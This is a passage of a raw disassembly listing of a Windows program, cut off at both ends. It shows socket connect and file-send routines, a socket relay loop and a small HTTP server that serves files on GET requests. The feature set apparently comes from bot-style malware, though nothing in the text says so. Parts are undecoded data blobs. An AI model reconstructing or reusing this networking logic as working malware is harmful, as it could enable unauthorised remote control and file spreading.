		pop	eax
		jmp	short loc_40E470
; ---------------------------------------------------------------------------

loc_40E467:				; CODE XREF: ___:0040E284j
					; ___:0040E2A9j ...
		push	ebx
		nop
		call	near ptr 71AB1A6Dh

loc_40E46E:				; CODE XREF: ___:0040E26Ej
		xor	eax, eax

loc_40E470:				; CODE XREF: ___:0040E465j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h

loc_40E47E:				; CODE XREF: ___:0040E49Aj
					; ___:0040E4B6j
		push	0
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CDCB4
		call	dword_4CAF8C
		test	eax, eax
		jle	short loc_40E47E
		lea	ecx, [ebp-4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp-404h]
		push	eax
		push	dword_4CDCB0
		nop
		call	near ptr 2700000h
		jmp	short loc_40E47E
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h

loc_40E4C1:				; CODE XREF: ___:0040E4E7j
					; ___:0040E501j
		lea	eax, [ebp-4]
		and	dword ptr [ebp-4], 0
		push	0
		push	eax
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CDCA4
		nop
		call	near ptr 2710000h
		cmp	dword ptr [ebp-4], 0
		jle	short loc_40E4C1
		push	0
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword_4CDCB4
		call	dword_4CAFC4
		jmp	short loc_40E4C1
; ---------------------------------------------------------------------------
byte_40E503	db 55h			; DATA XREF: sub_401ACD+2D0Do
dword_40E504	dd 0EC81EC8Bh, 11Ch, 5308458Bh,	286A5756h, 8D59F08Bh, 0FFFEE4BDh
		dd 6AA5F3FFh, 5EFF3301h, 98B089h, 106A0000h, 57C8458Dh
		dd 0D05AE850h, 0C4830000h, 45C7660Ch, 0FF0002C8h, 0FFFF68B5h
		dd 7415FFFFh, 6A004CAFh, 26A5606h, 0CA458966h, 0AFF415FFh
		dd 4589004Ch, 0C8458D08h, 0FF50106Ah, 15FF0875h, 4CAFA0h
		dd 75FF056Ah, 9C15FF08h, 8B004CAFh, 4270FC1Dh, 68358B00h
		dd 57004270h, 875FF57h,	0B00815FFh, 0B4A3004Ch,	8D004CDCh
		dd 5057F445h, 4CDCB068h, 0DCAC6800h, 45C7004Ch,	0CF4h
		dd 0FC45C700h, 1, 0FFF87D89h, 0F4458DD3h, 0A8685057h, 68004CDCh
		dd 4CDCA4h, 446AD3FFh, 5784458Dh, 0CFBEE850h, 0ACA10000h
		dd 83004CDCh, 45890CC4h, 0DCA8A1BCh, 4589004Ch,	16A57C0h
		dd 6AC4458Dh, 45C75002h, 4484h,	0B045C700h, 101h, 0B47D8966h
		dd 311FC6E8h, 0FF509002h, 4CDCA835h, 0B8E89000h, 5002311Fh
		dd 3119E7E8h, 458D9002h, 458D50D8h, 57575084h, 9068h, 0F4458D04h
		dd 8D50016Ah, 6850F445h, 43350Ch, 265AE857h, 8D900226h
		dd 5750E845h, 0E4B86857h, 458D0040h, 905057F4h,	281A5CE8h
		dd 0EC458902h, 50E8458Dh, 75685757h, 8D0040E4h,	5057F445h
		dd 1A43E890h, 0FF6A0228h, 0FFF04589h, 0CBE8D875h, 90022828h
		dd 0F075FF57h, 2079E890h, 0FF570229h, 0E890EC75h, 229206Fh
		dd 0FFF075FFh, 0EC75FFD6h, 0FF57D6FFh, 7E8D875h, 90023026h
		dd 0DCAC35FFh, 0D6FF004Ch, 0DCB035FFh, 0D6FF004Ch, 0DCA435FFh
		dd 0D6FF004Ch, 0DCA835FFh, 0D6FF004Ch, 0FFDC75FFh, 0D875FFD6h
		dd 0B0E9D6FFh, 0E9FFFFFEh, 0
; ---------------------------------------------------------------------------
		push	0FFFEh
		push	400h
		call	sub_418684
		pop	ecx
		mov	dword_4CDCBC, eax
		pop	ecx
		retn
; ---------------------------------------------------------------------------
byte_40E6EF	db 55h			; DATA XREF: sub_40BACD+34Do
		dd 0EC81EC8Bh, 6C0h, 5308458Bh,	276A5756h, 8D59F08Bh, 0FFFF50BDh
		dd 6AA5F3FFh, 5EDB3301h, 98B089h, 106A0000h, 53EC458Dh
		dd 0CE6EE850h, 0C4830000h, 45C7660Ch, 0FF0002ECh, 0FFFF5CB5h
		dd 7415FFFFh, 53004CAFh, 66026A56h, 89EE4589h, 15FFF05Dh
		dd 4CAFF4h, 0CE83F88Bh,	75FE3BFFh, 0E45D3945h, 8D532075h
		dd 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh, 0FF50B5FFh
		dd 0FFE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h, 6A2AE850h
		dd 0B5FF0000h, 0FFFFFF54h, 0FFCC85E8h, 535959FFh, 2E186BE8h
		dd 858B9002h, 0FFFFFF54h, 0C069106Ah, 234h, 0DEBCB889h
		dd 458D0043h, 0FF5750ECh, 4CAFA015h, 0BBC63B00h, 400h
		dd 0CF850Fh, 15FF0000h,	4CAF08h, 27403Dh, 33477400h, 0E47539F6h
		dd 8D562075h, 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh
		dd 0FF50B5FFh, 7FE8FFFFh, 83FFFFB2h, 858D14C4h,	0FFFFFD40h
		dd 69AAE850h, 0B5FF0000h, 0FFFFFF54h, 0FFCC05E8h, 565959FFh
		dd 2E17EBE8h, 0FE689002h, 530000FFh, 9E63E8h, 0BCA35900h
		dd 59004CDCh, 0EE458966h, 6AEC458Dh, 0FF575010h, 4CAFA015h
		dd 75C63B00h, 815FF54h,	33004CAFh, 0E47539F6h, 403D2775h
		dd 74000027h, 858D5620h, 0FFFFFD40h, 50E075FFh,	0FF60858Dh
		dd 0FF50FFFFh, 0FFFF50B5h, 0B204E8FFh, 0C483FFFFh, 40858D14h
		dd 50FFFFFDh, 692FE8h, 54B5FF00h, 0E8FFFFFFh, 0FFFFCB8Ah
		dd 0E8565959h, 22E1770h, 57056A90h, 0AF9C15FFh,	0C63B004Ch
		dd 0D4840Fh, 45C70000h,	10FCh, 9108BE00h, 458D0042h, 858D50FCh
		dd 0FFFFFF40h, 15FF5750h, 4CB008h, 89FFF883h, 0E6740845h
		dd 0E47D83h, 6A2175h, 0FD40858Dh, 75FFFFFFh, 858D50E0h
		dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFB186h, 8D14C483h
		dd 0FFFD4085h, 0B1E850FFh, 59000068h, 0FD40858Dh, 6AFFFFh
		dd 20068h, 75FF5000h, 8C15FF08h, 83004CAFh, 9674FFF8h
		dd 35FF5656h, 4CACB0h, 0FF50B5FFh, 0E4E8FFFFh, 59FFFFC2h
		dd 35146850h, 858D0043h, 0FFFFF940h, 41E85053h,	830000D0h
		dd 858D1CC4h, 0FFFFF940h, 0E850006Ah, 0C690h, 858D5059h
		dd 0FFFFF940h, 875FF50h, 0AFC415FFh, 0F883004Ch, 43840FFFh
		dd 0FFFFFFFFh, 4CDCC405h, 0FF38E900h, 0FF57FFFFh, 4CB00C15h
		dd 54B5FF00h, 0E8FFFFFFh, 0FFFFCA8Ah, 90006A59h, 2E166FE8h
		db 2
byte_40E991	db 55h,	8Bh, 0ECh	; DATA XREF: sub_40BACD+22Ao
		dd 0A70EC81h, 458B0000h, 57565308h, 0A9B9016Ah,	8B000000h
		dd 20BD8DF0h, 5BFFFFF9h, 9889A5F3h, 2A0h, 0F590858Dh, 0F633FFFFh
		dd 1016850h, 5D890000h,	0D45D89E4h, 89DC5D89h, 0FFFDD4B5h
		dd 0C4B589FFh, 0E8FFFFFBh, 716A57FAh, 6A535690h, 5238E802h
		dd 8B90716Ah, 4271F435h, 0E44D8D00h, 0BF51046Ah, 0FFFFh
		dd 5057046Ah, 0FFF84589h, 0D4458DD6h, 6A50046Ah, 7D8B57FBh
		dd 0D6FF57F8h, 50DC458Dh, 4667E68h, 37E85780h, 90716A2Bh
		dd 0ACB0A166h, 6583004Ch, 665000B8h, 2B445C7h, 7415FF00h
		dd 66004CAFh, 8DB64589h, 106AB445h, 0E8905750h,	716A5482h
		dd 77DC085h, 60E9C38Bh,	6A000005h, 0E890570Ah, 716A7382h
		dd 0FDD49D89h, 1D8BFFFFh, 427224h, 0FDD8BD89h, 7D89FFFFh
		dd 8D416AFCh, 0FFFDD4B5h, 0BD8D59FFh, 0FFFFFBC4h, 0F633A5F3h
		dd 0FBC4858Dh, 5656FFFFh, 458B5056h, 0E85040FCh, 716A2DF4h
		dd 0FFF88390h, 50E840Fh, 0FF330000h, 89FC7539h,	0C57C087Dh
		dd 646AF633h, 0FD60858Dh, 5056FFFFh, 0CACFE8h, 8D646A00h
		dd 0FFFF5085h, 0E85056FFh, 0CAC0h, 8D18C483h, 0FFFBC485h
		dd 0E85750FFh, 17C76h, 840FC085h, 4BAh,	75F87D3Bh, 0F0458D7Ah
		dd 10F045C7h, 50000000h, 0FDC4858Dh, 0FF50FFFFh, 0E890F875h
		dd 716A9B85h, 0FFFF883h, 49184h, 39C93300h, 0FFFDD4B5h
		dd 8D1676FFh, 0FFFDD895h, 740239FFh, 0C283410Ch, 0D48D3B04h
		dd 72FFFFFDh, 0D48D3BF0h, 75FFFFFDh, 0D4BD8316h, 40FFFFFDh
		dd 84890D73h, 0FFFDD88Dh, 0D485FFFFh, 3BFFFFFDh, 37EFC45h
		dd 56FC4589h, 0DC68156Ah, 50004337h, 3BE9D3FFh,	56000004h
		dd 0FD60858Dh, 646AFFFFh, 0E8905750h, 716A6B18h, 527FC085h
		dd 0FDD4958Bh, 0C933FFFFh, 3A76D63Bh, 0FDD8858Dh, 3839FFFFh
		dd 83410A74h, 0CA3B04C0h, 26EBF472h, 73CA3B4Ah,	8D848D1Bh
		dd 0FFFFFDD8h, 4104508Bh, 958B1089h, 0FFFFFDD4h, 4A04C083h
		dd 0EC72CA3Bh, 0FDD48DFFh, 9057FFFFh, 6A2EA4E8h, 3D4E971h
		dd 858D0000h, 0FFFFFCC8h, 50858D50h, 50FFFFFFh,	0FD60858Dh
		dd 0D468FFFFh, 50004337h, 0DA58E8h, 50858D00h, 68FFFFFFh
		dd 4337CCh, 0D472E850h,	0C4830000h, 75C08518h, 166A560Dh
		dd 4337B468h, 82E900h, 858D0000h, 0FFFFFF50h, 4337AC68h
		dd 4DE85000h, 590000D4h, 7559C085h, 146A560Ah, 43379468h
		dd 8D61EB00h, 0FFFF5085h, 378C68FFh, 0E8500043h, 0D42Ch
		dd 59C08559h, 6A560A75h, 377C680Dh, 40EB0043h, 0FF50858Dh
		dd 7468FFFFh, 50004337h, 0D40BE8h, 0C0855900h, 560A7559h
		dd 6068106Ah, 0EB004337h, 50858D1Fh, 68FFFFFFh,	43375Ch
		dd 0D3EAE850h, 85590000h, 0E7559C0h, 681E6A56h,	43373Ch
		dd 2F1E957h, 34BF0000h,	8D004337h, 0FFFF5085h, 0E85057FFh
		dd 0D3C4h, 59C08559h, 858D2475h, 0FFFFFCC8h, 43373068h
		dd 0ADE85000h, 590000D3h, 7559C085h, 136A560Dh,	43371C68h
		dd 2B2E900h, 858D0000h,	0FFFFFF50h, 8DE85057h, 590000D3h
		dd 7559C085h, 0C8858D24h, 68FFFFFCh, 433718h, 0D376E850h
		dd 85590000h, 0D7559C0h, 68136A56h, 433704h, 27BE9h, 50858D00h
		dd 68FFFFFFh, 4336FCh, 0D352E850h, 85590000h, 347559C0h
		dd 0D0BE0A6Ah, 59004336h, 0FED8BD8Dh, 0A5F3FFFFh, 0D8858D50h
		dd 50FFFFFEh, 9DE8A566h, 590000C2h, 0D8858D50h,	50FFFFFEh
		dd 0FF0875FFh, 0E9F633D3h, 235h, 0FF50858Dh, 0C868FFFFh
		dd 50004336h, 0D307E8h,	0C0855900h, 6A2A7559h, 36B0BE05h
		dd 8D590043h, 0FFFF38BDh, 66A5F3FFh, 858D50A5h,	0FFFFFF38h
		dd 51E8A450h, 590000C2h, 38858D50h, 0EBFFFFFFh,	50858DB2h
		dd 68FFFFFFh, 4336A8h, 0D2C6E850h, 85590000h, 850F59C0h
		dd 0B6h, 0FD2C858Dh, 8D50FFFFh,	0FFFF0485h, 458D50FFh
		dd 458D50ECh, 458D50E8h, 458D50E0h, 858D50D8h, 0FFFFFD60h
		dd 43368068h, 62E85000h, 8D0000D8h, 0FFFF0485h,	8AE850FFh
		dd 8B0000C9h, 2C858DF8h, 50FFFFFDh, 0C97CE8h, 0F4458900h
		dd 858D326Ah, 0FFFFFF04h, 81E85056h, 830000C7h,	858D34C4h
		dd 0FFFFFF04h, 57F475FFh, 43367868h, 5FE85000h,	6A0000CAh
		dd 4858D10h, 56FFFFFFh,	0CF8FE850h, 0C4830000h,	0F445891Ch
		dd 50EC458Dh, 50E8458Dh, 50E0458Dh, 50D8458Dh, 68C4458Dh
		dd 43366Ch, 0CA2CE850h,	0C4830000h, 1D6A5618h, 43364C68h
		dd 11EE900h, 858D0000h,	0FFFFFF50h, 43364468h, 0F5E85000h
		dd 590000D1h, 0F59C085h, 0E485h, 286A5600h, 43361868h
		dd 875FF00h, 75FFD3FFh,	0C4458DF4h, 120E850h, 83590000h
		dd 0F5901F8h, 0B685h, 0C4458D00h, 20858D50h, 68FFFFF7h
		dd 4335FCh, 0C9C8E850h,	0C4830000h, 0BCB5390Ch,	75FFFFFBh
		dd 858D5623h, 0FFFFF720h, 0FBB8B5FFh, 8D50FFFFh, 0FFFB3885h
		dd 0B5FF50FFh, 0FFFFF920h, 0FFAB89E8h, 14C483FFh, 14AE8h
		dd 1F88300h, 93850Fh, 6A560000h, 35E46817h, 75FF0043h
		dd 8DD3FF08h, 8D50C445h, 0FFF72085h, 35C468FFh,	0E8500043h
		dd 0C96Ah, 390CC483h, 0FFFBBCB5h, 562375FFh, 0F720858Dh
		dd 0B5FFFFFFh, 0FFFFFBB8h, 38858D50h, 50FFFFFBh, 0F920B5FFh
		dd 2BE8FFFFh, 83FFFFABh, 858D14C4h, 0FFFFF720h,	6256E850h
		dd 5FF0000h, 4CDA80h, 562EEB59h, 0A068206Ah, 0EB004335h
		dd 50858D1Fh, 68FFFFFFh, 42C98Ch, 0D0F6E850h, 85590000h
		dd 0D7559C0h, 681B6A56h, 433584h, 0FF0875FFh, 8D646AD3h
		dd 0FFFD6085h, 0E85056FFh, 0C5F4h, 83087D8Bh, 3B470CC4h
		dd 7D89FC7Dh, 18E0F08h,	0E9FFFFFBh, 0FFFFFAC1h,	5F58016Ah
		dd 0C2C95B5Eh
		db 4, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp-1A0h]
		push	eax
		push	101h
		nop
		call	near ptr 71AB41DAh
		push	0
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		push	dword ptr [ebp+8]
		mov	dword_4CDCC8, eax
		mov	word ptr [ebp-10h], 2
		nop
		call	near ptr 71AB12F8h
		push	dword ptr [ebp+0Ch]
		mov	[ebp-0Ch], eax
		nop
		call	near ptr 71AB1746h
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	dword_4CDCC8
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F036
		push	dword_4CDCC8
		call	near ptr 71AB1A6Dh
		nop
		nop
		call	near ptr 71AB1836h
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_40F036:				; CODE XREF: ___:0040F01Ej
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp-104h]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2680000h
		lea	eax, [ebp-104h]
		push	offset dword_429068
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40F0D2
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40F0B6
		push	edi
		mov	edi, 400h

loc_40F07E:				; CODE XREF: ___:0040F0B3j
		push	esi
		push	1
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B11A
		add	esp, 10h
		lea	eax, [ebp-504h]
		push	0
		push	edi
		push	eax
		push	dword_4CDCC8
		nop
		call	near ptr 71AB1AF4h
		push	1
		nop
		call	near ptr 2690000h
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40F07E
		pop	edi

loc_40F0B6:				; CODE XREF: ___:0040F076j
		push	esi
		call	sub_41B05B
		pop	ecx
		push	dword_4CDCC8
		call	near ptr 71AB1A6Dh
		nop
		nop
		call	near ptr 71AB1836h
		push	1
		pop	eax

loc_40F0D2:				; CODE XREF: ___:0040F070j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F0D5	proc near		; DATA XREF: sub_401ACD+2283o
					; sub_40BACD+475o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4CAF74
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4CAFF4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40F4C0
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_43DEBC[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4CAFA0
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		push	7FFFFFFFh
		push	edi
		call	dword_4CAF9C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4CB010
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi

loc_40F1AC:				; CODE XREF: sub_40F0D5+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4CAF5C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4BB
		xor	esi, esi
		mov	[ebp+var_4], esi

loc_40F1E2:				; CODE XREF: sub_40F0D5+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4CAE60
		test	eax, eax
		jz	loc_40F4A6
		cmp	esi, [ebp+var_C]
		jnz	short loc_40F264
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4CB008
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4A6
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F236
		lea	edx, [ebp+var_134]

loc_40F22A:				; CODE XREF: sub_40F0D5+15Fj
		cmp	[edx], eax
		jz	short loc_40F236
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40F22A

loc_40F236:				; CODE XREF: sub_40F0D5+14Dj
					; sub_40F0D5+157j
		cmp	ecx, ebx
		jnz	short loc_40F253
		cmp	ebx, 40h
		jnb	short loc_40F253
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx

loc_40F253:				; CODE XREF: sub_40F0D5+163j
					; sub_40F0D5+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40F4A6
		mov	[ebp+var_8], eax
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------

loc_40F264:				; CODE XREF: sub_40F0D5+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4CAF8C
		test	eax, eax
		jg	short loc_40F2F7
		push	esi
		call	dword_4CB00C
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40F4A6
		lea	eax, [ebp+var_134]

loc_40F2B6:				; CODE XREF: sub_40F0D5+1EBj
		cmp	[eax], esi
		jz	short loc_40F2C7
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F2B6
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------

loc_40F2C7:				; CODE XREF: sub_40F0D5+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F2EB
		lea	eax, [ebp+ecx*4+var_134]

loc_40F2D5:				; CODE XREF: sub_40F0D5+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F2D5

loc_40F2EB:				; CODE XREF: sub_40F0D5+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------

loc_40F2F7:				; CODE XREF: sub_40F0D5+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jbe	loc_40F4A6

loc_40F325:				; CODE XREF: sub_40F0D5+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40F3CA
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F39E
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_41AFE0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40F39E
		mov	eax, offset asc_42CA2C ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C0F4
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41BEB0
		add	esp, 10h
		jmp	short loc_40F3B5
; ---------------------------------------------------------------------------

loc_40F39E:				; CODE XREF: sub_40F0D5+27Fj
					; sub_40F0D5+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_43381C ; "\r\n"
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F3E9

loc_40F3B5:				; CODE XREF: sub_40F0D5+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh

loc_40F3CA:				; CODE XREF: sub_40F0D5+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_41AFE0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40F325
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------

loc_40F3E9:				; CODE XREF: sub_40F0D5+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F433
		lea	eax, [ebp+var_134]

loc_40F3F5:				; CODE XREF: sub_40F0D5+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40F406
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F3F5
		jmp	short loc_40F436
; ---------------------------------------------------------------------------

loc_40F406:				; CODE XREF: sub_40F0D5+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F42A
		lea	eax, [ebp+ecx*4+var_134]

loc_40F414:				; CODE XREF: sub_40F0D5+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F414

loc_40F42A:				; CODE XREF: sub_40F0D5+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40F436
; ---------------------------------------------------------------------------

loc_40F433:				; CODE XREF: sub_40F0D5+318j
		mov	esi, [ebp+var_4]

loc_40F436:				; CODE XREF: sub_40F0D5+32Fj
					; sub_40F0D5+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40F49F
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40F49F
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB010
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_40F6B3
		add	esp, 14h
		jmp	short loc_40F4A6
; ---------------------------------------------------------------------------

loc_40F49F:				; CODE XREF: sub_40F0D5+369j
					; sub_40F0D5+38Fj
		push	esi
		call	dword_4CB00C

loc_40F4A6:				; CODE XREF: sub_40F0D5+11Dj
					; sub_40F0D5+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40F1E2
		jmp	loc_40F1AC
; ---------------------------------------------------------------------------

loc_40F4BB:				; CODE XREF: sub_40F0D5+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx

loc_40F4C0:				; CODE XREF: sub_40F0D5+6Aj
					; sub_40F0D5+92j ...
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_4337F4
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40F506
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_409A72
		add	esp, 14h

loc_40F506:				; CODE XREF: sub_40F0D5+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB00C
		push	[ebp+var_254]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	near ptr 26F0000h
		nop
		pop	edi
		pop	esi
		pop	ebx
sub_40F0D5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F530	proc near		; DATA XREF: sub_40F6B3+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_41B886
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_40F596
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40F59B
; ---------------------------------------------------------------------------

loc_40F596:				; CODE XREF: sub_40F530+5Dj
		push	offset aApplicationOct ; "application/octet-stream"

loc_40F59B:				; CODE XREF: sub_40F530+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
